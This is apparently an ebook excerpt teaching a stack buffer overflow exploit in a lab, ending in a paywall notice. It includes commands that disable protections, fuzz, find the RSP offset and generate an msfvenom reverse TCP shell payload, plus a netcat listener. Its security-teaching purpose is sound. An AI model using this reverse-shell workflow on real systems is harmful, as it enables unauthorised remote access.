Exploiting a buffer overflow

Take the following piece of code, which is vulnerable to buffer-overflow. Let's see how we can fuzz and exploit the vulnerability to get shell access to the system. We studied how to use Evans debugger in the earlier section. In this section, we will see how can we use gdb to exploit buffer overflows.

The following is given a simple code snippet written in C that asks the user for their name. Based upon the supplied value from the Terminal, it greets the user with the greeting message Hey <username>:

Let's compile the application by disabling the stack protection using the following command: 

gcc -fno-stack-protector -z execstack -o bufferoverflow bufferoverflow.c 

This will create an object file called bufferoverflow, which can be run as follows: 

Now the next step for us is to generate a payload that will cause the application to break. We can use Python to do this as follows:

python -c "print 'A'*500" > aaa

The preceding command will create a text file with 500 As in it. Let's give this as an input to our code and see whether it breaks:

As we learned earlier, the computer manages the stack through registers. Registers act as a dedicated place in memory, where data is stored while its worked on. Most registers temporarily store values for processing. In a 64-bit architecture, the Register Stack Pointer (RSP) and the Register Base Pointer (RBP) are especially important.

The program remembers its place in the stack with the RSP register. The RSP register will move up or down, depending on whether tasks are added or removed from the stack. The RBP register is used to remember where the end of the stack resides.

Typically, the RSP register will instruct the program from where to continue the execution. This includes jumping into a function, out of a function, and so on. This is why an attacker's goal is to obtain control of where the RSP directs a program’s execution.

Now, let's try to run the same code with gdb to find the value of the register RSP when the crash happens:

As can be seen, we simply issue the run command and pass it in the created input file, which results in the program crashing. Let's try to understand the status of all the registers at the time of the crash:

The two columns displayed by the info registers tell us about the addresses of the registers in hex and decimal format. We know that the register of interest here is RSP as RSP will hold the address of the next instruction to be executred,and since it got corrupted and was over written by string of A's it caused the crash. Let's check the contents of the RSP at the time of the crash. Let's also check the contents of other registers to see where all our input string of aaaaa is written. The reason we are checking the other registers is to determine the register in which we can place our payload:

From the preceding screenshot, we can validate that the input string aaaa, whose hexadecimal equivalent is 0x414141 is placed in the RSP, causing a crash. Interestingly, we also see that the string is placed inside registers r9 and r11, making them potential candidates for our exploit code. But before getting there, we need to figure out at what point in our input of 500 characters was the buffer RSP overwritten. If we get the exact location of that offset, we will devise our payload to put a jump instruction at that offset, and we will try to make a jump to either register r9 or r11, where we will place our shell code. For us to figure out the exact offset, we will generate a unique combination of characters with the help of a Metasploit Ruby module:

Now, since we placed this uniquely generated string in a file called unique, lets re-run the application, this time passing this unique file contents to the program:

Now, at this point, the contents of the register RSP is0x6f41316f, which is in hex. The ASCII equivalent is o1Ao.

Since the contents of the register RSP is in little endian format, we actually need to convert 0x6f31416f to its ASCII equivalent.It must be noted that IBM's 370 mainframes, most RISC-based computers, and Motorola microprocessors use the big-endian approach.On the other hand, Intel processors (CPUs) and DEC Alphas and at least some programs that run on them are little-endian

We will again use a Metasploit Ruby module to get the offset of this unique value to find the exact location of our payload. After this, we should have the jump instruction placed to make the RSP jump to the location of our choice:

Thus, we know that the next eight bytes of whatever we write after address 424 are going to be written to our rsp register. Let's try to write bbbb and see if this is the case. The payload we generate will be as follows: 424*a + 4*b + 72*c. The exact command to use is this:

python -c "print 'A'*424+ 'b'*4 + 'C'*72" > abc

Now, given that we have verified that we can control the register RSP, let's try to attack the r9 register, to hold our shell code. But before doing that, it's important for us to know the location of the r9 register. In the following screenshot, we can see that the r9 register has a memory location of 0x7fffffffded0, but this keeps changing every time the program reloads: 

There are two ways to get around this. The first method is to avoid dynamic address change by disabling it at the OS level, which can be seen in the following screenshot. The other way is to find the address of any instruction that has the jmp r9 commandWe can search for jmp r9 throughout the assembly code of our program and then place the address of the location inside our register RSP, thus avoiding dynamic address change. I will leave that as an exercise for you to figure out and do by yourself. For this section, let's disable dynamic address loading by executing the following:

Now, since we are working on a Kali machine, let's generate a reverse shell payload that will be placed in our final exploit code:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.250.147 LPORT=4444  -e x64/xor ‐b "x00x0ax0dx20" -f py
In order to figure out the common bad characters for the underlying software being tested, the most successful method is trial and error. What I usually do to figure out the common bad characters , is to send all unique characters to the application, and then using the debugger, we check what characters are changed at register level. The ones that get changed can be encoded and avoided.

The preceding command would produce the following screenshot:

Let's create a Python file called exp_buf.py and place the obtained shell code in that file. It must be noted that since we are encoding the payload, we will also need a few bytes in the beginning for it to get decoded, so we will specify a few nop characters in the beginning. We will also set up a netcat listener on port 4444 to see whether we get a reverse shell from the application. Remember the address of the r9 register; we will be using that as well:

The preceding Python code prints the payload that will be required to get us the reverse shell by penetrating through the vulnerable buffer overflow code we created. Let's go and input this payload in a file called buf_exp, which we will be using with edb to exploit the code. Type in the following command to run the code:

python exp_buf.py > exp_buf

Let's now set up a netcat listener on port 4444 that will listen to the reverse payload, which will in turn give us the shell:

nc -nlvp 4444

Now, run the application with gdb and try to exploit it as shown:

Bingo! The code has successfully spawned a new shell process. Let's check what our netcat listener has obtained:

It can therefore be verified that we were able to successfully create a reverse shell using Python and gdb.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.144.252.140